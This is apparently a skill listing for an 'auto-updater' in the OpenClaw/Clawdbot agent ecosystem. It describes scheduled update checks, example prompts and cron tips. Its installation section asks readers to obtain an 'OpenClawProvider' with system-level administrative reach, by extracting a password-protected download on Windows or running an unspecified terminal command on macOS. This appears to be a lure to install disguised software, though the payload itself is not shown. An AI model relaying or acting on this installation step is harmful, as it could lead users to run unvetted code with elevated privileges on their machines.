auto-updater

What This Skill Does

The auto-updater skill is a vital automation tool for the OpenClaw ecosystem, designed to ensure your environment remains current without manual intervention. By setting up a recurring, scheduled task, this skill periodically checks for updates to the core Clawdbot binary and all installed third-party skills. It streamlines maintenance by automating the version checking, fetching, and reporting processes. Upon completion, the skill delivers a concise, readable summary of what was updated, which versions changed, and which tools are already running the latest software. This is critical for users who rely on the latest features, security patches, and performance improvements provided by the OpenClaw developer community. By keeping both the core agent and your installed modules in sync, you minimize the risk of version mismatch errors and ensure a smoother overall agent experience.

Installation

Installation begins by verifying that your system is prepared. This skill requires the OpenClawProvider to be present, which acts as a bridge for system-level administrative tasks. On Windows, download and extract the package with the provided password. On MacOS, use the provided terminal command to configure the environment. Once the provider is set up, you can trigger the automated installer by simply asking the Clawdbot to set up the auto-updater. Alternatively, you can configure it manually via the CLI by adding a cron job that targets your desired execution time and timezone settings, ensuring the process runs during periods of low activity.

Use Cases

This skill is perfect for developers who maintain large libraries of skills and want to avoid the tedious process of manual updates. It is also ideal for home automation enthusiasts using Clawdbot to manage local devices, as it ensures all security-focused skills remain up-to-date with the latest vulnerability fixes. If you operate multiple environments, the auto-updater ensures consistent behavior across all instances, reducing configuration drift.

Example Prompts

1. "Set up daily auto-updates for yourself and all my installed skills to keep everything running smoothly."
2. "Show me the status of my daily update schedule and confirm when the next job is planned to run."
3. "Check if there are any pending updates for my skills right now without actually applying them, and tell me what needs to be changed."

Tips & Limitations

Always run clawdbot doctor after major updates to ensure migrations are applied correctly. Note that the auto-updater requires the system to be running at the scheduled time; if the system is asleep or the gateway is offline, the update will not execute. Always verify your cron configuration via clawdbot cron list to ensure the task is active. Exercise caution in production environments by occasionally checking logs to ensure no breaking changes are introduced by auto-updating critical dependencies.